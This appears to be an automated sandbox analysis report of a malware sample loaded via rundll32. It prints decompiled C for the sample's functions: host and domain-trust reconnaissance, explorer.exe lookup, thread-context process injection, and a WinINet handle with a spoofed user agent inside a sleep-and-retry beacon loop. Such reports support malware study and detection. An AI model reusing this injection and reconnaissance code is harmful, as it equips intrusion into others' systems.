				_t16 = E00342DF0(_t31,  &_v528); // executed
				if(_t16 != 0) {
					lstrcatA(_a4,  &_v528);
				}
				return 1;
			}

0x00343104
0x00343108
0x0034311a
0x00343120
0x00343122
0x0034312f
0x0034312f
0x0034313e
0x0034314b
0x00343155
0x00343162
0x00343162
0x00343170

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0034311A
lstrcatA.KERNEL32(00100000,?), ref: 0034312F
lstrcatA.KERNEL32(00100000, @ ), ref: 0034313E
lstrcatA.KERNEL32(00100000,?), ref: 00343162

Strings

@ , xrefs: 00343135

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcat$ComputerName
String ID: @
API String ID: 2583549208-203157567
Opcode ID: 6b4b2adfa9a7fbedef8a4cb1af6e55340780de5b611e4909c4c990e56c58b0d4
Instruction ID: 94d90bd3b88c740f7e9e1d0a4d53cfe9e12ed3465e41a96cbd8478d17a35ebdf
Opcode Fuzzy Hash: 6b4b2adfa9a7fbedef8a4cb1af6e55340780de5b611e4909c4c990e56c58b0d4
Instruction Fuzzy Hash: 110186B9500308ABDB15DFA4DC49BDAB7BCAB45300F0045A8FA498F251DB75FB84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003423C0, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E003423C0(CHAR* _a4) {
				signed int _v8;
				char _v12;
				char _v16;
				char* _t30;

				 *_a4 = 0;
				_t30 =  &_v16;
				__imp__DsEnumerateDomainTrustsA(0, 0x3f,  &_v12, _t30); // executed
				if(_t30 == 0) {
					if(_v16 != 0) {
						_v8 = 0;
						while(_v8 < _v16) {
							if( *(_v12 + _v8 * 0x2c) != 0) {
								lstrcatA(_a4,  *(_v12 + _v8 * 0x2c));
								lstrcatA(_a4, ";");
							}
							if( *((intOrPtr*)(_v12 + 4 + _v8 * 0x2c)) != 0) {
								_t26 = 4 + _v8 * 0x2c; // 0xff25f845
								lstrcatA(_a4,  *(_v12 + _t26));
								lstrcatA(_a4, ";");
							}
							_v8 = _v8 + 1;
						}
						return 1;
					}
					return 1;
				}
				return 0;
			}

0x003423d1
0x003423d5
0x003423e1
0x003423e9
0x003423f6
0x00342402
0x00342414
0x00342427
0x00342438
0x00342447
0x00342447
0x00342459
0x00342462
0x0034246b
0x0034247a
0x0034247a
0x00342411
0x00342411
0x00000000
0x00342482
0x00000000
0x003423f8
0x00000000

APIs

DsEnumerateDomainTrustsA.NETAPI32(00000000,0000003F,00341AE8,?,?,00341AE8,?,?,?), ref: 003423E1

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: DomainEnumerateTrusts
String ID:
API String ID: 4051863571-0
Opcode ID: efb5255b167c55bf7aa96ad904c77e17e679bf0017789df3ab1d1c5992f13b3a
Instruction ID: c64ad916bb04454d3fbf79c065d7f0f8b3da79d325c4aa996ba01f4caf76d32f
Opcode Fuzzy Hash: efb5255b167c55bf7aa96ad904c77e17e679bf0017789df3ab1d1c5992f13b3a
Instruction Fuzzy Hash: E4215335500209EBCB19CF95D985FAEBBB9EB44300F5081A8F505AF2A0C730FA81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00342DF0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00342DF0(void* __eflags, CHAR* _a4) {
				long _v8;
				long _v12;
				long _v16;
				char _v276;
				char _v536;
				long _t16;
				void* _t20;

				_t16 = E00342E90("explorer.exe"); // executed
				_v16 = _t16;
				_v12 = 0x104;
				_v8 = 0x104;
				 *_a4 = 0;
				_t20 = E00343000(_v16,  &_v536, _v12,  &_v276, _v8); // executed
				if(_t20 == 0) {
					return 0;
				}
				lstrcpyA(_a4,  &_v276);
				lstrcatA(_a4, "\\");
				lstrcatA(_a4,  &_v536);
				return 1;
			}

0x00342dfe
0x00342e06
0x00342e09
0x00342e10
0x00342e22
0x00342e40
0x00342e4a
0x00000000
0x00342e84
0x00342e57
0x00342e66
0x00342e77
0x00000000

APIs

Part of subcall function 00342E90: K32EnumProcesses.KERNEL32(?,00001000,00342E03), ref: 00342EAD

Part of subcall function 00343000: OpenProcess.KERNEL32(00000400,00000000,?,?,00342E45,?,?,00000104,?,00000104), ref: 00343011

lstrcpyA.KERNEL32(00000104,?), ref: 00342E57
lstrcatA.KERNEL32(00000104,003442B8), ref: 00342E66
lstrcatA.KERNEL32(00000104,?), ref: 00342E77

Strings

explorer.exe, xrefs: 00342DF9

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcat$EnumOpenProcessProcesseslstrcpy
String ID: explorer.exe
API String ID: 1774016706-3187896405
Opcode ID: 1e22c196e5af4817aae5281c9ebdd841293c792fbafeeec61f1ea2f7af86c742
Instruction ID: 5d7ab605a3f5b6af894d0376a8235643c92bce58605dca09c2802ceaca8b4972
Opcode Fuzzy Hash: 1e22c196e5af4817aae5281c9ebdd841293c792fbafeeec61f1ea2f7af86c742
Instruction Fuzzy Hash: 221148B5900208ABCB15DFA8DD45BDEB7F8AB49300F004594F609DF241D674EA848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00342B80, Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00342B80(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				long _v12;
				void* _v16;
				char _v20;
				char _v24;
				void* _t24;
				void* _t27;
				void* _t34;
				long _t36;

				_v12 = 0xffffffff;
				if(E00342B40(__ecx, _a4) != 0) {
					_t24 = E00342C40( &_v8,  &_v16); // executed
					if(_t24 != 0) {
						_t27 = E00343270(_v8, _a4, _a8,  &_v24,  &_v20); // executed
						if(_t27 == 1) {
							_t34 = E003437E0(_v8, _v16, _v24, _v20); // executed
							if(_t34 == 1) {
								_t36 = GetProcessId(_v8); // executed
								_v12 = _t36;
							}
						}
						if(_v12 == 0xffffffff) {
							TerminateProcess(_v8, 0);
						}
						CloseHandle(_v16);
						CloseHandle(_v8);
						return _v12;
					}
					return _v12;
				}
				return 0;
			}

0x00342b86
0x00342b9b
0x00342bac
0x00342bb6
0x00342bd1
0x00342bdc
0x00342bee
0x00342bf9
0x00342bff
0x00342c05
0x00342c05
0x00342bf9
0x00342c0c
0x00342c14
0x00342c14
0x00342c1e
0x00342c28
0x00000000
0x00342c2e
0x00000000
0x00342bb8
0x00000000

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb019a9e6d45ddcdf21ecd0fb5972519f2c7fc314f57fc8786e0aa0995d53cbd
Instruction ID: 8183b429782d0d9983a8bcb91a2684c9cd570192b1628bf401a8bae2c40da40f
Opcode Fuzzy Hash: bb019a9e6d45ddcdf21ecd0fb5972519f2c7fc314f57fc8786e0aa0995d53cbd
Instruction Fuzzy Hash: B2211FBAD00108BBCB15DBE4D985DAFB7BCAB48310F508654F915EB241E630FA009B61

Uniqueness

Uniqueness Score: -1.00%

Function 00342F30, Relevance: 6.1, APIs: 4, Instructions: 58
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00342F30(long _a4, CHAR* _a8) {
				int _v8;
				void* _v12;
				CHAR* _v16;
				void* _v20;
				char _v280;
				void* _t29;
				void* _t48;

				_t29 = OpenProcess(0x400, 0, _a4);
				_v12 = _t29;
				if(_v12 == 0) {
					L12:
					return 0;
				}
				_push(0x104);
				_push( &_v280);
				_push(_v12); // executed
				L00343BE3(); // executed
				_v20 = _t29;
				CloseHandle(_v12); // executed
				if(_v20 <= 0) {
					goto L12;
				}
				_v16 = 0;
				_v8 = 0;
				while(_v8 < _v20) {
					if( *((char*)(_t48 + _v8 - 0x114)) == 0x5c) {
						_v16 = _t48 + _v8 - 0x113;
					}
					if( *((char*)(_t48 + _v8 - 0x114)) != 0) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				if(_v16 == 0) {
					goto L12;
				}
				lstrcpyA(_a8, _v16);
				return 1;
			}

0x00342f44
0x00342f4a
0x00342f51
0x00342feb
0x00000000
0x00342feb
0x00342f57
0x00342f62
0x00342f66
0x00342f67
0x00342f6c
0x00342f73
0x00342f7d
0x00000000
0x00000000
0x00342f7f
0x00342f86
0x00342f98
0x00342fae
0x00342fba
0x00342fba
0x00342fca
0x00342f95
0x00000000
0x00342fcc
0x00000000
0x00342fcc
0x00342fca
0x00342fd4
0x00000000
0x00000000
0x00342fde
0x00000000

APIs

OpenProcess.KERNEL32(00000400,00000000,00342E03), ref: 00342F44
K32GetProcessImageFileNameA.KERNEL32 ref: 00342F67
CloseHandle.KERNEL32(00000000), ref: 00342F73
lstrcpyA.KERNEL32(00000000,00000000), ref: 00342FDE

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Process$CloseFileHandleImageNameOpenlstrcpy
String ID:
API String ID: 2420205050-0
Opcode ID: db0eec48c8561ac4fd5e40b8caf8ca870bdf6baa992dd267b832af0a1cd2dcd1
Instruction ID: db84e89580a781198b59f224c71a1fe25189c0e3980fa8bea8e0befcdcf4211d
Opcode Fuzzy Hash: db0eec48c8561ac4fd5e40b8caf8ca870bdf6baa992dd267b832af0a1cd2dcd1
Instruction Fuzzy Hash: 4D211D74A0410CEBCB16CF94D985BEEB7F9BB44305FA081A9F615AB280C7746A48DF51

Uniqueness

Uniqueness Score: -1.00%

Function 003437E0, Relevance: 6.1, APIs: 4, Instructions: 51
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003437E0(void* _a4, void* _a8, void _a12, intOrPtr _a16) {
				struct _CONTEXT _v720;
				int _t17;
				int _t19;

				_v720.ContextFlags = 0x10002;
				E003414A0( &(_v720.Dr0), 0, 0x2c8);
				if(GetThreadContext(_a8,  &_v720) != 0) {
					_t17 = WriteProcessMemory(_a4, _v720.Ebx + 8,  &_a12, 4, 0); // executed
					if(_t17 != 0) {
						_v720.Eax = _a16;
						_t19 = SetThreadContext(_a8,  &_v720); // executed
						if(_t19 != 0) {
							ResumeThread(_a8); // executed
							return 1;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x003437e9
0x00343801
0x0034381c
0x00343838
0x00343840
0x00343849
0x0034385a
0x00343862
0x0034386c
0x00000000
0x00343872
0x00000000
0x00343864
0x00000000
0x00343842
0x00000000

APIs

GetThreadContext.KERNEL32(00341ECF,00010002), ref: 00343814
WriteProcessMemory.KERNELBASE(?,?,00500000,00000004,00000000), ref: 00343838

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: ContextMemoryProcessThreadWrite
String ID:
API String ID: 2099319263-0
Opcode ID: 986645319e92069ba7ff468ab9c3761ecc9cd9c622071ba54264c80e44fc7e2a
Instruction ID: b0d0bae983fec01b42c8a2b0c496b6f51c1fe58b2b59b85b5ffc787356b10c9c
Opcode Fuzzy Hash: 986645319e92069ba7ff468ab9c3761ecc9cd9c622071ba54264c80e44fc7e2a
Instruction Fuzzy Hash: B1116175605109ABEB11CF64DC49FAEB3FCAB18744F108568FA09DB140EB30EA54CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00341C70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00341C70(void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t61;
				void* _t62;

				asm("xorps xmm0, xmm0");
				asm("movlpd [ebp-0x18], xmm0");
				_v12 = 0x8000;
				_t33 = E00341390(_v12); // executed
				_t62 = _t61 + 4;
				_v16 = _t33;
				_v8 = _v16;
				_t34 = _v8;
				__imp__GetAdaptersAddresses(2, 0, 0, _t34,  &_v12); // executed
				_v20 = _t34;
				if(_v20 == 0) {
					while(_v8 != 0) {
						_t11 =  &_v36; // 0x342645
						E003414A0(_t11, 0, 8);
						_t15 =  &_v36; // 0x342645
						E00341450(_t15, _v8 + 0x2c,  *((intOrPtr*)(_v8 + 0x34)));
						_t62 = _t62 + 0x18;
						_t17 =  &_v36; // 0x342645
						_v28 = _v28 ^  *_t17;
						_v24 = _v24 ^ _v32;
						_v8 =  *((intOrPtr*)(_v8 + 8));
					}
				}
				E003413D0(_v16);
				_t36 = E00342490(); // executed
				_v44 = _t36;
				_v40 = 0;
				return E00341400(_v44, 0x20, _v40) ^ _v28;
			}

0x00341c76
0x00341c79
0x00341c7e
0x00341c89
0x00341c8e
0x00341c91
0x00341c97
0x00341c9e
0x00341ca8
0x00341cae
0x00341cb5
0x00341cb7
0x00341cc1
0x00341cc5
0x00341cdb
0x00341cdf
0x00341ce4
0x00341cea
0x00341cf3
0x00341cf6
0x00341cff
0x00341cff
0x00341cb7
0x00341d08
0x00341d10
0x00341d17
0x00341d1a
0x00341d33

APIs

Part of subcall function 00341390: GetProcessHeap.KERNEL32(?,00341886,00100000), ref: 0034139C
Part of subcall function 00341390: RtlAllocateHeap.NTDLL(004E0000,00000000,00341886,?,00341886,00100000), ref: 003413BD

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,00008000), ref: 00341CA8

Strings

E&4, xrefs: 00341CC1, 00341CDB, 00341CEA, 00341CC4, 00341CDE
Mj<p, xrefs: 00341CA8

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AdaptersAddressesAllocateProcess
String ID: E&4$Mj<p
API String ID: 2964925633-206575084
Opcode ID: 39d03d8f16274d053992d4817779c580933d78844dea88f0b740e6db08b62e90
Instruction ID: c2f947a769767725f8e2e9e20db7fcd7d3afb9233aee0f60ee50e8dc8b84b742
Opcode Fuzzy Hash: 39d03d8f16274d053992d4817779c580933d78844dea88f0b740e6db08b62e90
Instruction Fuzzy Hash: F821FBB5D00209ABDB04DFE5D982BEEBBF5BF4C304F104159E905BB341E6706A84CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00342E90, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00342E90(CHAR* _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v276;
				char _v4372;
				signed int _t23;
				void* _t26;
				int _t29;
				void* _t40;
				void* _t41;

				E00341420(0x1110);
				_t23 =  &_v12;
				_push(_t23);
				_push(0x1000);
				_push( &_v4372); // executed
				L00343BDD(); // executed
				if(_t23 != 0) {
					_v16 = _v12 >> 2;
					_v8 = 0;
					while(_v8 < _v16) {
						_t26 = E00342F30( *((intOrPtr*)(_t40 + _v8 * 4 - 0x1110)),  &_v276); // executed
						_t41 = _t41 + 8;
						if(_t26 == 0) {
							L8:
							_t23 = _v8 + 1;
							_v8 = _t23;
							continue;
						}
						_t29 = lstrcmpiA( &_v276, _a4); // executed
						if(_t29 != 0) {
							goto L8;
						}
						return  *((intOrPtr*)(_t40 + _v8 * 4 - 0x1110));
					}
					return _t23 | 0xffffffff;
				}
				return _t23 | 0xffffffff;
			}

0x00342e98
0x00342e9d
0x00342ea0
0x00342ea1
0x00342eac
0x00342ead
0x00342eb4
0x00342ec1
0x00342ec4
0x00342ed6
0x00342ef0
0x00342ef5
0x00342efa
0x00342f1d
0x00342ed0
0x00342ed3
0x00000000
0x00342ed3
0x00342f07
0x00342f0f
0x00000000
0x00000000
0x00000000
0x00342f14
0x00000000
0x00342f1f
0x00000000

APIs

K32EnumProcesses.KERNEL32(?,00001000,00342E03), ref: 00342EAD
lstrcmpi.KERNEL32(?,00342E03,?,?,00342E03), ref: 00342F07

Strings

.>ov, xrefs: 00342F07

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: EnumProcesseslstrcmpi
String ID: .>ov
API String ID: 1246086236-341798122
Opcode ID: 48c58026700e90da35ae5bc2acfccc5979777038dcb11cf0d149490fec32d845
Instruction ID: 6aede821755dd8248d97eefc7a2b5a23330ebd0656fd4246730577fa3f90a5f9
Opcode Fuzzy Hash: 48c58026700e90da35ae5bc2acfccc5979777038dcb11cf0d149490fec32d845
Instruction Fuzzy Hash: 7D115E70D10108EBCB16CF94D841AEEB3F8BF48344F904699FA25AB280E770BE84DB10

Uniqueness

Uniqueness Score: -1.00%

Function 003424F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
networkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003424F0() {
				void* _t1;
				void* _t2;

				if( *0x347270 == 0) {
					_t2 = InternetOpenA("Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko", 0, 0, 0, 0); // executed
					 *0x347270 = _t2;
				}
				_t1 =  *0x347270; // 0xcc0004
				return _t1;
			}

0x003424fa
0x00342509
0x0034250f
0x0034250f
0x00342514
0x0034251a

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko,00000000,00000000,00000000,00000000), ref: 00342509

Strings

Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko, xrefs: 00342504

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
API String ID: 2038078732-3333256863
Opcode ID: b37671659e40dd79d3900090ae7edc457e872edc5f19f8e91bc948d08c1cba1a
Instruction ID: 980a53fe87b5513944cb65ce08002127789f40ff1ef5e69625c357952baf2b64
Opcode Fuzzy Hash: b37671659e40dd79d3900090ae7edc457e872edc5f19f8e91bc948d08c1cba1a
Instruction Fuzzy Hash: D2D01238684B04ABEB328BA4AD06F9173FCB346B14F610821F3086E1E0CFF07459C659

Uniqueness

Uniqueness Score: -1.00%

Function 00342490, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00342490() {
				int _v8;
				long _v12;
				char _v272;
				int _t13;
				void* _t18;

				_v8 = GetWindowsDirectoryA( &_v272, 0x104);
				if(_v8 == 0) {
					L3:
					return 0;
				}
				 *((char*)(_t18 + 0xfffffffffffffef7)) = 0;
				_t13 = GetVolumeInformationA( &_v272, 0, 0,  &_v12, 0, 0, 0, 0); // executed
				if(_t13 == 0) {
					goto L3;
				}
				return _v12;
			}

0x003424ab
0x003424b2
0x003424ea
0x00000000
0x003424ea
0x003424bc
0x003424db
0x003424e3
0x00000000
0x00000000
0x00000000

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003424A5
GetVolumeInformationA.KERNEL32 ref: 003424DB

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindows
String ID:
API String ID: 3487004747-0
Opcode ID: 9e362a1582548df2d40ba2b057a4271798b9627ea95a282cb32e3d2a564e83b1
Instruction ID: 130708db4ce018dc65e7fe28149d2e6481a748d656ca07c5cec392ac1937615b
Opcode Fuzzy Hash: 9e362a1582548df2d40ba2b057a4271798b9627ea95a282cb32e3d2a564e83b1
Instruction Fuzzy Hash: 51F05434A40308AAE735DB64DC15BD9B7ACD701700F5041A4B645EA1C0DBF47A84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00351C20, Relevance: 3.0, APIs: 2, Instructions: 28memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0034BF13,00000001,?,0036D2FC,00000000,?,?,?,0036B0A8,0036D2FC), ref: 00351C31
HeapDestroy.KERNEL32(?,0036D2FC,00000000,?,?,?,0036B0A8,0036D2FC), ref: 00351C67

Memory Dump Source

Source File: 00000005.00000002.2348568952.000000000034A000.00000020.00020000.sdmp, Offset: 0034A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34a000_rundll32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 9f991b191f234ab60ec9935b0de80769faccf94128bed65503d3ed9ebffa9488
Instruction ID: 98f2b391cdf6d70962599caf41fc3543b8d94e093a8393dd4eed1a4dd81d2ea4
Opcode Fuzzy Hash: 9f991b191f234ab60ec9935b0de80769faccf94128bed65503d3ed9ebffa9488
Instruction Fuzzy Hash: 34E06DB1A94312EAEB175B30AE0DB2637E8A740387F00842AF841C91B0FBB48548AE00

Uniqueness

Uniqueness Score: -1.00%

Function 00341870, Relevance: 2.6, APIs: 2, Instructions: 85
sleepCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00341870(void* __eflags) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t32;
				intOrPtr _t35;
				void* _t38;
				void* _t40;
				void* _t52;
				void* _t55;

				_v12 = 0x100000;
				_t28 = E00341390(_v12); // executed
				_v20 = _t28;
				_t29 = E00341390(_v12); // executed
				_v24 = _t29;
				_t30 = E00341390(0x1000); // executed
				_t55 = _t52 + 0xc;
				_v8 = _t30;
				_v32 = 1;
				while(1) {
					_t58 = _v32 - 1;
					if(_v32 != 1) {
						break;
					}
					_t32 = E00341AA0( &_v36, _t58, _v20, _v12,  &_v36); // executed
					_t55 = _t55 + 0xc;
					if(_t32 != 1) {
						L12:
						Sleep(0xea60); // executed
						_t30 = E003415C0();
						Sleep(0xea60);
						continue;
					}
					_t35 = E00341560(_v20 + 4, _v24);
					_t55 = _t55 + 8;
					_v36 = _t35;
					_v16 = _v24;
					while(1 != 0) {
						_v16 = E003417B0(_v16, _v16, _v8);
						_t38 = E003427B0(_v16, _v8);
						_t55 = _t55 + 0xc;
						if(_t38 == 1) {
							_v28 = 0;
							_t46 = _v8;
							_t40 = E00341630(_v8, _v8,  &_v28); // executed
							_t55 = _t55 + 8;
							if(_t40 == 1 && _v28 == 0) {
								E003414E0(_t46, _v8);
								_t55 = _t55 + 4;
							}
						}
						if(_v16 != 0) {
							continue;
						} else {
							goto L12;
						}
					}
					goto L12;
				}
				return _t30;
			}

0x00341876
0x00341881
0x00341889
0x00341890
0x00341898
0x003418a0
0x003418a5
0x003418a8
0x003418ab
0x003418b2
0x003418b2
0x003418b6
0x00000000
0x00000000
0x003418c8
0x003418cd
0x003418d3
0x0034195a
0x0034195f
0x00341965
0x0034196f
0x00000000
0x0034196f
0x003418e4
0x003418e9
0x003418ec
0x003418f2
0x003418f5
0x0034190e
0x00341915
0x0034191a
0x00341920
0x00341922
0x0034192d
0x00341931
0x00341936
0x0034193c
0x00341948
0x0034194d
0x0034194d
0x0034193c
0x00341954
0x00000000
0x00341956
0x00000000
0x00341956
0x00341954
0x00000000
0x003418f5
0x0034197d

APIs

Part of subcall function 00341390: GetProcessHeap.KERNEL32(?,00341886,00100000), ref: 0034139C
Part of subcall function 00341390: RtlAllocateHeap.NTDLL(004E0000,00000000,00341886,?,00341886,00100000), ref: 003413BD

Part of subcall function 00341AA0: GetVersion.KERNEL32(?,003418CD,?,00100000,?), ref: 00341AAD
Part of subcall function 00341AA0: wsprintfA.USER32 ref: 00341B5E

Sleep.KERNELBASE(0000EA60), ref: 0034195F
Sleep.KERNEL32(0000EA60), ref: 0034196F

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: HeapSleep$AllocateProcessVersionwsprintf
String ID:
API String ID: 1739176888-0
Opcode ID: 4eea1954665144cf9772b4886e0889e093941126fcb3dc5ababea3d725d3a8ae
Instruction ID: 1f761668352854c31781814a2fe1c318eeb742a595d271229a22df988b190733
Opcode Fuzzy Hash: 4eea1954665144cf9772b4886e0889e093941126fcb3dc5ababea3d725d3a8ae
Instruction Fuzzy Hash: A23193B6D00609EBDF11DFD4D851BAEB7F8AF48304F144428E519BE241E735BA848B92

Uniqueness

Uniqueness Score: -1.00%

Function 003413D0, Relevance: 1.3, APIs: 1, Instructions: 12
memoryCOMMON

